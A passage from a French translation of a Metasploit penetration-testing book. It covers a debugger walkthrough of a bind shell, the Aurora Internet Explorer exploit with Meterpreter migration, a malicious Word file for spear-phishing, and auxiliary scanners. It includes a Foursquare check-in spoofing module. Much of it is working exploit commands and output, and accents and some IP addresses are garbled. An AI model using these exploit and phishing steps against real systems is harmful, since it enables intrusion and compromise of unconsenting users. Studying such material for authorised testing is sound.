instructions. Maintenant, vous avez un bind shell avec des NOP au dbut
de celui-ci pour votre test. Ensuite, ouvrez nimporte quel fichier
excutable, nous allons utiliser iexplore.exe pour cet exemple. Ouvrez
Immunity Debugger, choisissez Fichier > Ouvrir puis pointez sur un
fichier excutable. Vous devriez voir un certain nombre dinstructions
assembleur dans la fentre principale (la plus grande). Cliquez sur la
premire instruction lcran, et maintenez la touche SHIFT enfonce
tout en cliquant pour slectionner environ 300 instructions en dessous.
Copiez le shellcode dans le presse-papiers, faites un clic droit dans la
fentre Immunity Debugger et choisissez BinaRY > BinaRY paste. Cela
copiera les instructions assembleur de lexemple dans la fentre
dImmunity Debugger (rappelez-vous que nous faisons cela afin de
dterminer comment la NOP fonctionne et comment les instructions
dassemblage sont excutes).
Vous pouvez voir la Figure 8.1 quun certain nombre de NOP sont
insres, et si vous faites dfiler vers le bas, vous verrez votre shellcode.
Lorsque nous avons export notre shellcode dans un format bind_tcp, la
dernire instruction du stage 1 se terminait avec ecc3. Localisez le
dernier jeu dinstructions mmoire que nous avons ajout se terminant par
eec3 la fin.
Juste aprs la eec3, appuyez sur F2 pour crer un point darrt. Lorsque
le flux dexcution le rencontrera, lexcution du programme sera
interrompue et ne se poursuivra pas. Ce point est important parce que le
code contient encore beaucoup de vestiges de lapplication que nous
avons ouverte et que poursuivre causerait un plantage dans la mesure o
nous avons dj insr notre propre code dans celle-ci. Nous voulons
nous arrter et examiner ce qui sest pass avant que lapplication ne
plante.
Figure 8.1
Exemple de multiples NOP qui crent le slide NOP.
Dans lexemple de la Figure 8.2, remarquez le dernier jeu dinstructions,
qui est un C3. Cest la dernire instruction de notre bind shell dont nous
avons besoin.
Juste aprs le C3, appuyez sur f2 pour mettre en place un point darrt.
Maintenant nous sommes prts lancer le tout et voir ce quil se passe.
Retournez tout en haut, o vous avez ajout vos NOP et appuyez sur F7,
ce qui demande au debugger dexcuter la prochaine commande
assembleur, et de sarreter la suivante. Notez que la ligne en
surbrillance descend dun cran. Rien ne sest pass parce que vous avez
ajout une NOP.
Ensuite, appuyez sur f7 plusieurs fois pour parcourir le slide NOP.
Lorsque vous arrivez aux instructions de mmoire, ouvrez une invite de
commande et tapez netstat -an. Rien ne devrait tre lcoute sur le
port 443, ce qui est le signe que votre payload na pas encore t
excut.
Appuyez sur f5 pour continuer excuter le reste de lapplication
jusquau point darrt que vous avez dfini. Vous devriez voir le point
darrt indiqu dans le coin infrieur gauche de la fentre dImmunity
Debugger. ce stade, vous avez excut votre payload dans le debugger
et vous devriez maintenant tre en mesure de lancer netstat -an et
remarquer le port 443 est lcoute.
Sur une machine distante, essayez de faire un telnet sur la machine cible
sur le port 443. Vous remarquerez que rien ne se passe : cest parce que
le listener na pas encore reu le stage 2 de Metasploit. Sur votre
machine virtuelle Back|Track, allez dans Metasploit et mettez en place
un multi-handler. Cela va indiquer Metasploit que le premier stage du
listener est sur le port 443 de la machine cible.
Figure 8.2
La dernire partie de notre instruction tablit ce dont nous avons besoin.
msf > use multi/handler
msf exploit(handler) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
LPORT => 443
msf exploit(handler) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(handler) > exploit
[*]
192.168.33.130:443)
Vous tes connects un interprteur de commande simple ! Comme bon
exercice technique, essayez un reverse Meterpreter en stage 1 et voyez
si vous pouvez obtenir une connexion. Lorsque vous avez termin,
fermez simplement la fentre dImmunity Debugger et vous avez
termin. Il est important que vous vous familiarisiez avec Immunity
Debugger ds maintenant car nous allons lutiliser dans les chapitres
suivants. Maintenant, nous allons lancer notre premier exploit navigateur
qui utilise un heap spray.
Exploration de lexploit Aurora dInternet Explorer
Vous connaissez le principe de fonctionnement des heap sprays et
comment vous pouvez allouer dynamiquement de la mmoire et remplir
le heap avec des NOP et du shellcode. Nous allons tirer parti dun exploit
qui utilise cette technique ainsi que de quelque chose trouv dans presque
tous les exploits ct client. Lexploit navigateur sur lequel nous allons
travailler est lexploit Aurora (Microsoft Security Bulletin MS10-002).
Aurora a t plus notoirement utilis dans les attaques contre Google et
plus de vingt autres grandes socits. Bien que cet exploit ait t publi
dbut 2010, il a fait particulirement grand bruit au sein de la
communaut car il a svrement impact plusieurs acteurs majeurs de
lindustrie de la technologie.
Nous allons commencer par utiliser le module Aurora de Metasploit puis
dfinir notre payload. Vous devriez tre familiaris avec les commandes
suivantes puisque nous les avons utilises dans les chapitres prcdents.
Vous verrez galement quelques nouvelles options dont nous parlerons
dans un instant.
msf > use windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > set payload
msf exploit(ms10_002_aurora) > show options

Module options:

Name
Current
Setting
----
--------
-------
-------- -----------
SRVHOST
0.0.0.0
yes The local host to listen on.

SRVPORT 8080 yes The local port to listen on.
SSL false no
Negotiate SSL for incoming
connections
SSLVersion SSL3 no
Specify the version of SSL that
should be used (accepted: SSL2,
SSL3, TLS1)

URIPATH
no
The URI to use for this exploit
(default is random)


Name
Current
Setting
----
--------
-------
-------- -----------
process

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms10_002_aurora) > set LPORT 443
LPORT => 443
msf exploit(ms10_002_aurora) > exploit -z
msf exploit(ms10_002_aurora) >
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.33.129:80/
[*] Server started.

Tout dabord, notez que le paramtre par dfaut pour SRVHOST est
0.0.0.0:. Cela signifie que le serveur web va couter sur toutes les
interfaces. Le SRVPORT en , 8080, est le port sur lequel lutilisateur
cible doit se connecter pour dclencher lexploit. Cependant, nous allons
utiliser le port 80 au lieu du 8080. Nous pourrions galement configurer le
serveur pour du SSL, mais pour cet exemple, nous nous en tiendrons la
norme HTTP. URIPATH est lURL que lutilisateur doit entrer pour
dclencher la vulnrabilit ; nous initialiserons ce paramtre un slash (/)
en .
Avec nos paramtres dfinis, utilisez votre machine virtuelle
Windows XP et connectez l la machine attaquante en utilisant lURL
http://<adresse IP de lattaquant>. Vous remarquerez que la machine
ralentit un peu. Au bout dun moment, vous devriez voir un shell
Meterpreter. En tche de fond, le heap spray a t effectu et le saut
dans la mmoire dynamique a t excut ; et finissant ventuellement
dans votre shellcode. Si vous ouvrez le Gestionnaire des tches de
Windows avant dexcuter cet exploit, vous pouvez rellement voir la
quantit de mmoire alloue par iexplore.exe augmenter de manire
significative lors du remplissage de la heap.
[*]
Sending Internet Explorer "Aurora" Memory Corruption to client
192.168.33.130
[*]
192.168.33.130:1161)

msf exploit(ms10_002_aurora) > sessions -i 1

meterpreter >
Vous avez maintenant un shell Meterpreter, mais il y a un lger
problme. Que faire si lutilisateur ferme le navigateur cible cause de
la lenteur de son ordinateur ? Vous perdriez votre session la cible et
bien que lexploit ait russi, il serait termin prmaturment.
Heureusement, il existe un moyen de contourner cela : il suffit de taper
run migrate ds que la connexion est tablie. jespre que vous aurez le
temps de le faire. Ce script Meterpreter migre automatiquement vers
lespace mmoire dun autre processus, gnralement lsass.exe, afin
damliorer les chances de conserver votre shell ouvert si lutilisateur de
la cible clt le processus exploit lorigine.
meterpreter > run migrate
[*] Current server process: IEXPLORE.EXE (2120)
[*] Migrating to lsass.exe...
[*] New server process: lsass.exe (680)
meterpreter >
Il sagit dun processus assez manuel. Vous pouvez lautomatiser laide
des options avances afin de migrer vers un processus automatiquement
aprs avoir obtenu un shell. Entrez show advanced pour lister les
fonctionnalits avances du module Aurora :
msf exploit(ms10_002_aurora) > show advanced

Module advanced options:

Name : ContextInformationFile

Current
Setting
:
Description : The information file that contains context information
Name : DisablePayloadHandler

Current
Setting
: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding

Current
Setting
: false
Description : Use transient context when encoding payloads
Name : WORKSPACE

Current
Setting
:
Description : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse_tcp):

Name : AutoLoadStdapi

Current
Setting
: true
Description : Automatically load the Stdapi extension
Name : AutoRunScript

Current
Setting
:
Description : A script to run automatically on session creation.
Name : AutoSystemInfo

Current
: true
Setting
Description
: Automatically capture system information on
initialization.
Name : InitialAutoRunScript

Current
Setting
:
Description
: An initial script to run on session created (before
AutoRunScript)
Name : ReverseConnectRetries

Current
Setting
: 5
Description
: The number of connection attempts to try before
exiting the process
Name : WORKSPACE

Current
Setting
:
Description : Specify the workspace for this module

En dfinissant ces options, vous pouvez finement paramtrer une grande
partie du payload et des details de lexploit. Maintenant, supposons que
vous souhaitiez modifier la quantit de tentatives quune reverse
connection est susceptible de faire. La valeur par dfaut est de 5, mais
vous pourriez tre intress par des temporisations et vouloir augmenter
le nombre de tentatives de connexion. Ici, nous avons fix le nombre
10 :
msf exploit(ms10_002_aurora) > set ReverseConnectRetries 10
Dans ce cas, vous souhaitez migrer automatiquement vers un nouveau
processus dans le cas o lutilisateur cible fermerait le navigateur tout de
suite. Dans le cadre dAutoRunScript, faites simplement savoir
Metasploit dautoexcuter un script ds quune console Meterpreter est
cre. Lutilisation de la commande migrate avec loption -f indique
Meterpreter de lancer un nouveau processus automatiquement et de
migrer vers lui :
msf exploit(ms10_002_aurora) > set AutoRunScript migrate -f
Maintenant, essayez de lancer lexploit et voyez ce quil se passe.
Essayez de fermer la connexion et regardez si votre session Meterpreter
reste toujours active.
Comme il sagit dun exploit bas sur un navigateur, vous prfreriez
probablement lexcuter partir dun compte utilisateur limit. Noubliez
pas de dfinir les commandes use priv et getsystem pour tenter une
escalade de privilge sur la machine cible.
a y est ! Vous venez dexcuter avec succs votre premire attaque
ct client laide dun exploit assez clbre. Notez que les nouveaux
exploits sont souvent mis jour, donc noubliez pas de rechercher tous les
exploits navigateurs et de trouver celui qui convient le mieux vos
besoins pour une cible particulire.
Les bugs de formats de fichiers sont des vulnrabilits exploitables sur
une application spcifique, comme un document Adobe PDF. Cette classe
dexploit repose sur louverture dun fichier malveillant par un utilisateur
dans une application vulnrable. Des fichiers malveillants peuvent tre
hbergs distance ou envoys par mail. Nous avons brivement
mentionn lexploitation de bugs dans des formats de fichiers dans
lattaque par spear-phishing au dbut de ce chapitre ; nous vous en dirons
plus sur le spear-phishing au Chapitre 10.
Dans les formats de fichiers traditionnels, vous pouvez tirer parti de tout
ce quoi vous pensez pour lequel votre cible sera vulnrable. Cela peut
tre un document Microsoft Word, un fichier PDF, une image ou toute
autre chose qui peut tre utilis. Dans cet exemple, nous allons tirer parti
de la MS11-006, connue sous le nom de Microsoft Windows
CreateSizedDIBSECTION Stack Buffer Overflow.
Dans Metasploit, effectuez une recherche pour ms11_006. Notre
premire tape consiste slectionner notre exploit depuis msfconsole et
taper info pour voir quelles options sont disponibles. Dans lexemple
suivant, vous pouvez voir que le format de fichier est export en tant que
document :

msf > use windows/fileformat/ms11_006_createsizeddibsection
msf exploit(ms11_006_createsizeddibsection) > info

. . . SNIP . . .

Available targets:
Id Name
-- ----
0 Automatic
1 Windows 2000 SP0/SP4 English
2 Windows XP SP3 English
3 Crash Target for Debugging
Ensuite, vous pouvez voir que nous avons quelques cibles disponibles
pour lexploitation, mais nous allons automatiser cela et laisser tous les
paramtres par dfaut :
Basic options:
---- --------------- -------- -----------
FILENAME msf.doc yes
The file
name.
OUTPUTPATH /opt/metasploit3/msf3/data/exploits yes
The
location of
the file.
Nous aurons besoin de paramtrer un payload, comme dhabitude. Dans
le cas prsent, nous allons choisir un reverse shell Meterpreter :
msf
exploit(ms11_006_createsizeddibsection)
> set payload
payload =>

msf
> set LHOST 172.16.32.128
LHOST => 172.16.32.128
smsf
> set LPORT 443
LPORT => 443
msf
> exploit

[*] Creating msf.doc file...
[*]
Generated output file
/opt/metasploit3/msf3/data/exploits/msf.doc
msf exploit(ms11_006_createsizeddibsection) >
Envoi du payload
Notre fichier a t export en tant que msf.doc dans le rpertoire /opt/
de Metasploit. Maintenant que nous avons notre document malveillant,
nous pouvons laborer un e-mail que nous enverrons notre cible en
esprant que lutilisateur louvre. ce stade, nous devrions dj avoir
une ide des niveaux de patch et des vulnrabilits de la cible. Avant de
rellement ouvrir le document, nous avons besoin de mettre en place un
multi-handler listener. Cela permettra de sassurer que lorsque lexploit
est dclench, la machine attaquante pourra recevoir la connexion de la
machine cible (reverse payload).
msf exploit(ms11_006_createsizeddibsection) > use multi/handler
LHOST => 172.16.32.128
LPORT => 443
msf exploit(handler) > exploit -j
Nous ouvrons le document sur une machine virtuelle Windows XP et nous
devrions tre prsent un shell (notre VM tourne sous Windows XP
SP3) :
[*] Sending stage (749056 bytes) to 172.16.32.131
[*]
172.16.32.131:2718) at Sun Apr 03 21:39:58 -0400 2011
msf exploit(handler) > sessions -i 1
meterpreter >
Nous avons russi exploiter une faille de type format de fichier en
crant un document malveillant par le biais de Metasploit, puis
lenvoyer notre utilisateur cible. En repenssant cet exploit, si lon
avait effectu une bonne reconnaissance de notre utilisateur cible, nous
aurions pu laborer un e-mail assez convaincant. Cet exploit est un
exemple parmi le grand nombre dexploits de formats de fichiers
disponibles dans Metasploit.
Conclusion
Nous avons couvert la faon dont les exploits fonctionnent gnralement
ct client en manipulant le heap pour uvrer en faveur de lattaquant et
la faon dont les instructions NOP travaillent durant une attaque. Nous
avons vu les bases dun debugger, sur lequel vous en apprendrez plus au
cours des Chapitres 14 et 15. MS11-006 tait un stack overflow que nous
aborderons en dtail dans les chapitres suivants. Notez que votre taux de
russite ces types dattaques dpend de la quantit dinformations que
vous russirez glaner sur la cible avant de les effectuer .
En tant que pentester, chaque parcelle dinformation peut tre utilise
pour fabriquer une attaque encore meilleure. Dans le cas du spear-
phishing, si vous pouvez employer le language de lentreprise et cibler
vos attaques contre des entits plus petites au sein de celle-ci, qui ne sont
probablement pas de nature technique, vos chances de succs
augmentent considrablement. Les exploits navigateurs et les exploits de
formats de fichiers sont gnralement trs efficaces, si toutefois vous
faites bien vos recherches. Nous aborderons ce sujet plus en dtail aux
Chapitres 8 et 10.
9
Metasploit : les modules auxiliaires
Sommaire
Modules auxiliaires en pratique
Anatomie dun module auxiliaire
Aller plus loin
Quand la plupart des gens pensent Metasploit, ils pensent aux exploits.
Les exploits sont intressants, les exploits vous aident obtenir votre shell
bref, les exploits attirent toute lattention. Mais parfois vous avez besoin
de plus que cela. Par dfinition, un module Metasploit qui nest pas un
exploit est un module auxiliaire, ce qui laisse une grande place
limagination.
En plus de fournir des outils de reconnaissance de valeur tels que des
scanners de ports et des services de fingerprint, des modules auxiliaires
tels que ssh_login peuvent prendre en paramtre une liste connue de
noms dutilisateurs et de mots de passe, puis essayer de se connecter via
bruteforce travers un rseau cible. Sont galement inclus dans les
modules auxiliaires divers fuzzers de protocoles tels que ftp_pre_post,
http_get_uri_long, smtp_fuzzer, ssh_version_corrupt et plus encore. Vous
pouvez lancer ces fuzzers contre un service cible dans lespoir de
trouver vos propres vulnrabilits exploiter.
Ne pensez pas, sous prtexte que des modules auxiliaires nont pas de
payload, que vous ne les utiliserez pas. Mais avant de nous plonger dans
leurs multiples utilisations, voici un aperu pour vous aider voir ce dont
nous parlons.

root@bt:/opt/framework3/msf3/modules/auxiliary# ls l
total 52
drwxr-xr-x 23 root root 4096 Apr 10 03:22 admin
drwxr-xr-x 4 root root 4096 Dec 14 03:25 client
drwxr-xr-x 16 root root 4096 Jan 1 04:19 dos
drwxr-xr-x 8 root root 4096 Dec 14 03:25 fuzzers
drwxr-xr-x 3 root root 4096 May 2 15:38 gather
drwxr-xr-x 4 root root 4096 Dec 14 03:25 pdf
drwxr-xr-x 36 root root 4096 Apr 10 03:22 scanner
drwxr-xr-x 5 root root 4096 May 2 15:38 server
drwxr-xr-x 3 root root 4096 May 2 15:38 sniffer
drwxr-xr-x 5 root root 4096 Dec 14 03:25 spoof
drwxr-xr-x 4 root root 4096 Dec 14 03:25 sqli
drwxr-xr-x 3 root root 4096 May 2 15:38 test
drwxr-xr-x 3 root root 4096 May 2 15:38 voip
Comme vous pouvez le voir dans la liste prcdente, les modules sont
installs dans le rpertoire /modules/auxiliary du framework et cet
endroit ils sont tris sur la base des fonctions quils assurent. Si vous
voulez crer votre propre module ou en modifier un existant pour
rpondre un objectif prcis, vous les trouverez dans les rpertoires
correspondants. Par exemple, si vous avez besoin de dvelopper un
module de fuzzers pour traquer vos propres bugs, vous trouverez
quelques modules prexistants dans le rpertoire /fuzzers.
Pour lister tous les modules auxiliaires disponibles au sein de Metasploit, il
suffit de lancer la commande show auxiliary depuis msfconsole. Si
vous comparez la liste des rpertoires prcdents avec les noms des
modules affichs dans msfconsole, vous remarquerez que la dsignation
des modules dpend du rpertoire sous-jacent, comme illustr ci-aprs.
msf > show auxiliary

Auxiliary
=========

---- ---- -----------
admin/backupexec/dump normal
Veritas Backup
Exec Windows
Remote File Access
admin/backupexec/registry normal
Veritas Backup
Exec Server
Registry Access
admin/cisco/ios_http_auth_bypass normal
Cisco IOS HTTP
Unauthorized
Administrative
Access

. . . SNIP . . .

fuzzers/ssh/ssh_version_corrupt normal
SSH Version
Corruption
fuzzers/tds/tds_login_corrupt normal
TDS Protocol Login
Request Corruption
Fuzzer

fuzzers/tds/tds_login_username normal
TDS Protocol Login Request Username
Fuzzer
fuzzers/wifi/fuzz_beacon normal
Wireless Beacon
Frame Fuzzer
fuzzers/wifi/fuzz_proberesp normal
Wireless Probe
Response Frame
Fuzzer
gather/citrix_published_applications normal
Citrix MetaFrame
ICA Published
Applications
Scanner
gather/citrix_published_bruteforce normal
Citrix MetaFrame
ICA Published
Applications
Bruteforcer
gather/dns_enum normal
DNS Enumeration
Module
gather/search_email_collector normal
Search Engine
Domain Email
Address Collector
pdf/foxit/authbypass normal
Foxit Reader
Authorization
Bypass
scanner/backdoor/energizer_duo_detect normal
Energizer DUO
Trojan Scanner
scanner/db2/db2_auth normal
DB2 Authentication
Brute Force Utility
scanner/db2/db2_version normal DB2 Probe Utility
Comme vous pouvez le voir sur ce listing, les modules auxiliaires sont
organiss par catgorie. Vous avez votre disposition, le module DNS
enumeration, WiFi fuzzers, et mme un module permettant de localiser et
de profiter de la backdoor du trojan qui tait inclus dans les chargeurs de
piles USB Energizer.
Lutilisation dun module auxiliaire est analogue lutilisation de
nimporte quel exploit dans le Framework il faut tout simplement rentrer
la commande use suivie du nom du module. Par exemple, pour utiliser le
module webdav_scanner (explor dans "Modules auxiliaires en pratique"
la page 159), vous devez excuter le scanner le use
scanner/http/webdav_scanner comme indiqu ci-aprs.
Note
Dans les modules auxiliaires, les options de base sont lgrement
diffrentes avec une option RHOSTS pour cibler plusieurs machines et
une valeur THREADS pour affiner la vitesse de votre scan.
msf > use scanner/http/webdav_scanner
msf auxiliary(webdav_scanner) > info

Name: HTTP WebDAV Scanner
Version: 9179
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
et et@metasploit.com

Basic options:
Name
Current
Setting
----
------------
---
-------- -----------
Proxies no Use a proxy chain
RHOSTS yes
CIDR identifier
THREADS 1 yes The number of concurrent
threads
VHOST no HTTP server virtual host

Description:
Detect webservers with WebDAV enabled

msf auxiliary(webdav_scanner) >
Ici, nous passons la commande use pour le module qui nous intresse.
On peut alors obtenir un aperu complet du systme module en utilisant la
commande info , ainsi quune liste des diffrentes options disponibles.
Parmi les options, on voit que la seule option requise sans valeur par
dfaut est RHOSTS , qui peut prendre une seule adresse IP, une liste,
plage dadresses IP ou encore une plage rseau au format CIDR.
Les autres options varient pour la plupart en fonction du module auxiliaire
utilis. Par exemple, loption THREADS permet plusieurs threads
dtre lancs pour traiter le scan, ce qui acclre les choses de faon
exponentielle.
Les modules auxiliaires sont passionnants car ils peuvent tre utiliss de
nombreuses faons diffrentes dans divers cas de figure. Si vous ne
parvenez pas trouver le module auxiliaire parfait, il est facile den
modifier un pour rpondre vos besoins spcifiques.
Prenons un exemple courant. Admettons que vous menez un test de
pntration distance et que lors du scan rseau vous identifiez un
certain nombre de serveurs web et rien dautre. Votre surface dattaque
est limite ce stade mais vous devez faire avec ce qui est votre
disposition. Vos modules auxiliaires scanner/http vont dsormais se
montrer extrmement utiles pour rechercher des failles sur lesquelles
vous pouvez lancer un exploit. Pour rechercher tous les scanners HTTP
disponibles, excutez search scanner/http comme indiqu ci-dessous.
msf auxiliary(webdav_scanner) > search scanner/http
[*] Searching loaded modules for pattern scanner/http...

Auxiliary
=========

---- ---- -----------
scanner/http/backup_file normal
HTTP Backup
File Scanner
scanner/http/blind_sql_query normal
HTTP Blind
SQL Injection
GET QUERY
Scanner
scanner/http/brute_dirs normal
HTTP
Directory
Brute Force
Scanner
scanner/http/cert normal
HTTP SSL
Certificate
Checker
scanner/http/copy_of_file normal
HTTP Copy
File Scanner
scanner/http/dir_listing normal
HTTP
Directory
Listing
Scanner
scanner/http/dir_scanner normal
HTTP
Directory
Scanner
scanner/http/dir_webdav_unicode_bypass normal
MS09-020
IIS6
WebDAV
Unicode Auth
Bypass
Directory
Scanner
scanner/http/enum_delicious normal
Pull
Del.icio.us
Links (URLs)
for a domain
scanner/http/enum_wayback normal
Pull
Archive.org
stored URLs
for a domain
scanner/http/error_sql_injection normal
HTTP Error
Based SQL
Injection
Scanner
scanner/http/file_same_name_dir normal
HTTP File
Same Name
Directory
Scanner
scanner/http/files_dir normal
HTTP
Interesting
File Scanner
scanner/http/frontpage_login normal
FrontPage
Server
Extensions
Login Utility
scanner/http/http_login normal
HTTP Login
Utility
scanner/http/http_version normal
HTTP Version
Detection
scanner/http/lucky_punch normal
HTTP
Microsoft
SQL Injection
Table XSS
Infection
scanner/http/ms09_020_webdav_unicode_bypass normal
MS09-020
IIS6
WebDAV
Unicode Auth
Bypass
scanner/http/options normal
HTTP Options
Detection
scanner/http/prev_dir_same_name_file normal
HTTP
Previous
Directory File
Scanner
scanner/http/replace_ext normal
HTTP File
Extension
Scanner
scanner/http/robots_txt normal
HTTP
Robots.txt
Content
Scanner
scanner/http/soap_xml normal
HTTP SOAP
Verb/Noun
Brute Force
Scanner
scanner/http/sqlmap normal
SQLMAP
SQL Injection
External
Module
scanner/http/ssl normal
HTTP SSL
Certificate
Information
scanner/http/svn_scanner normal
HTTP
Subversion
Scanner
scanner/http/tomcat_mgr_login normal
Tomcat
Application
Manager
Login Utility
scanner/http/trace_axd normal
HTTP
trace.axd
Content
Scanner
scanner/http/verb_auth_bypass normal
HTTP Verb
Authentication
Bypass
Scanner
scanner/http/vhost_scanner normal
HTTP Virtual
Host Brute
Force Scanner
scanner/http/vmware_server_dir_trav normal
VMware
Server
Directory
Transversal
Vulnerability
scanner/http/web_vulndb normal
HTTP Vuln
scanner
scanner/http/webdav_internal_ip normal
HTTP
WebDAV
Internal IP
Scanner
scanner/http/webdav_scanner normal
HTTP
WebDAV
Scanner
scanner/http/webdav_website_content normal
HTTP
WebDAV
Website
Content
Scanner
scanner/http/writable normal
HTTP
Writable Path
PUT/DELETE
File Access
scanner/http/xpath normal
HTTP Blind
XPATH 1.0
Injector
Il y a beaucoup de possibilits, nous allons donc identifier des candidats
potentiels dans cette liste. Notez quil est possible didentifier le fichier
robots.txt de diffrents serveurs, de nombreuses faons dinteragir
avec WebDAV , des outils pour identifier des serveurs prsentant des
fichiers accessibles en criture et de nombreux autres modules usage
spcial.
Vous pouvez voir immdiatement quil y a des modules que vous pouvez
utiliser pour dautres recherches. Les anciennes versions de
Microsoft IIS avaient une vulnrabilit dans leurs implmentations
WebDAV qui permettait lexploitation distance. Ainsi vous pouvez
dabord excuter un scan de vos cibles dans lespoir de trouver un
serveur WebDAV, comme suit.
msf auxiliary(dir_webdav_unicode_bypass) > use
scanner/http/webdav_scanner
msf auxiliary(webdav_scanner) > show options

Module options:

Name
Current
Setting
------------
---- --- -------- -----------
RHOSTS yes
CIDR identifier
THREADS 1 yes
threads
VHOST no HTTP server virtual host

msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.242,

192.168.13.242.252, 192.168.13.242.254, 192.168.4.116,
192.168.4.118, 192.168.4.122, 192.168.13.242.251,
192.168.13.242.234, 192.168.8.67, 192.68.8.113, 192.168.13.242.231,
192.168.13.242.249, 192.168.4.115, 192.168.8.66, 192.168.8.68,
192.168.6.62

RHOSTS => 192.168.1.242, 192.168.13.242.252,
192.168.13.242.254, 192.168.4.116, 192.168.4.118, 192.168.4.122,
192.168.13.242.251, 192.168.13.242.234, 192.168.8.67,
192.168.6.113, 192.168.13.242.231, 192.168.13.242.249,
192.168.4.115, 192.168.8.66, 192.168.8.68, 192.168.6.62
msf auxiliary(webdav_scanner) > run

[*] 192.168.1.242 (Microsoft-IIS/6.0) WebDAV disabled.
[*]
192.168.13.242.252 (Apache/2.2.9 (Debian)
proxy_html/3.0.0 mod_ssl/2.2.9
OpenSSL/0.9.8g) WebDAV disabled.
[*]
192.168.4.116 (Apache/2.2.3 (Red Hat)) WebDAV
disabled.
[*]
192.168.4.122 (Apache/2.2.3 (Red Hat)) WebDAV
disabled.
[*] 192.168.13.242.251 (Microsoft-IIS/6.0) WebDAV disabled.
[*]
192.168.6.113 (Microsoft-IIS/5.0) has WEBDAV
ENABLED
Comme vous pouvez le voir dans cet exemple, un certain nombre de
serveurs HTTP ont t scanns la recherche de WebDAV et un seul
avait WebDAV activ . Ce module a rapidement identifi un systme
spcifique sur lequel vous pouvez lancer dautres attaques.
Note
Les fonctionnalits du module auxiliaire vont bien au-del de
lnumration. Comme vous pourrez le voir au Chapitre 14, les modules
auxiliaires fonctionnent galement trs bien comme fuzzers aprs une
petite modification. Un certain nombre de modules dattaque par dni de
service sont galement disponibles pour le Wi-Fi (y compris
dos/wifi/deauth), qui peuvent se rvler trs perturbateurs lorsquils sont
utiliss correctement.
Penchons-nous sur la composition dun module auxiliaire dans un petit
exemple amusant, absent du rfrentiel Metasploit (car il nappartient pas
au pentest). Cet exemple dmontre combien il est facile de se dcharger
dune grande partie du programme sur le Framework, afin de mettre
laccent sur les spcificits dun module.
Chris Gates a crit un module auxiliaire pour le framework qui a donn
limpression ses followers sur Twitter quil avait en quelque sorte
invent un dispositif qui lui permettait de voyager la vitesse de la
lumire. Cela en fait un excellent exemple de la rutilisation de code
disponible dans Metasploit (vous pouvez accder aux sources du script
http://carnal0wnage.googlecode.com/).
root@bt:/opt/framework3/msf3# cd modules/auxiliary/admin/
root@bt:/opt/framework3/msf3/modules/auxiliary/admin# wget
http://carnal0wnage.googlecode.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursquare.rb
Nous avons plac le module dans le rpertoire des modules auxiliaires
de sorte quil soit disponible pour une utilisation par Metasploit. Mais
avant de lutiliser, nous allons regarder le script lui-mme et le
dcomposer afin de voir exactement ce quil contient.
require msf/core
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
Le module commence par les deux premires lignes qui importent la
classe auxiliaire . Ensuite, il rend les fonctions du client HTTP
disponibles pour une utilisation dans le script.
def initialize
super(
Name => Foursquare Location Poster,
Version => $Revision:$,
Description
=> F*ck with Foursquare, be anywhere you
want to be by venue id,
Author => [CG],
License => MSF_LICENSE,
References =>
[

[ URL,
http://groups.google.com/group/foursquare-api ],

[ URL, http://www.mikekey.com/im-a-
foursquare-cheater/],
]
)

#todo pass in geocoords instead of venueid, create a venueid, other
tom foolery
register_options(
[
Opt::RHOST(api.foursquare.com),

OptString.new(VENUEID, [ true, foursquare venueid,
185675]), #Louvre
Paris France

OptString.new(USERNAME, [ true, foursquare
username, username]),

OptString.new(PASSWORD, [ true, foursquare password,
password]),
], self.class)
End
Dans la routine dinitialisation nous dfinissons une grande partie de
linformation qui est retourne lors de lmission de la commande info
dans msfconsole. Nous pouvons voir o les diverses options sont dfinies
et si elles sont ncessaires. Jusqu prsent, toutes sont assez parlantes
et leurs objectifs sont clairs. Cependant, nous navons encore vu aucune
logique dexcution relle. La voici :
def run
begin
user = datastore[USERNAME]
pass = datastore[PASSWORD]
venid = datastore[VENUEID]
user_pass = Rex::Text.encode_base64(user + ":" + pass)
decode = Rex::Text.decode_base64(user_pass)

postrequest = "twitter=1\n" #add facebook=1 if you want
facebook

print_status("Base64 Encoded User/Pass: #{user_pass}") #debug
print_status("Base64 Decoded User/Pass: #{decode}") #debug
res = send_request_cgi({
uri => "/v1/checkin?vid=#{venid}",
version => "1.1",
method => POST,
data => postrequest,
headers =>
{
Authorization => "Basic #{user_pass}",
Proxy-Connection => "Keep-Alive",
}
}, 25)
Maintenant, nous arrivons la logique mme du script ce qui arrive
quand run est appele lintrieur du module. Au dpart, les options
proposes sont dfinies en tant que noms de variables locales avec la
dfinition de diffrents autres objets. Un objet est alors cr par appel
la mthode send_request_cgi , importe dans le script partir de
ib/msf/core/exploit/http.rb et dcrite comme remplissant les
fonctionnalits suivantes : "Se connecte au serveur, cre une requte,
envoie la demande, lit la rponse". Cette mthode accepte diffrents
paramtres qui caractrisent lappel au serveur rel, comme dmontr
ici.
print_status(#
{res})
# a ressort la rponse entire. On pourrait
# probablement

# faire sans a mais cest sympa de voir ce
# quil se passe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,

::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
puts e.message
end
end
Une fois cet objet cr, les rsultats sont imprims . Si quelque chose se
passe mal, un traitement est prvu afin de capturer toutes les erreurs et
de les signaler lutilisateur. Ce traitement est simple ; il sagit
simplement de fournir les diffrents paramtres aux fonctions existantes
du framework. Cest un excellent exemple de la puissance du framework
car il nous permet de nous concentrer uniquement sur les informations
ncessaires pour atteindre notre objectif. Il ny a aucune raison de
reproduire nimporte laquelle des fonctions standard telles que la gestion
des erreurs, la gestion des connexions, etc.
Voyons ce module en action. Si vous ne vous souvenez pas du chemin
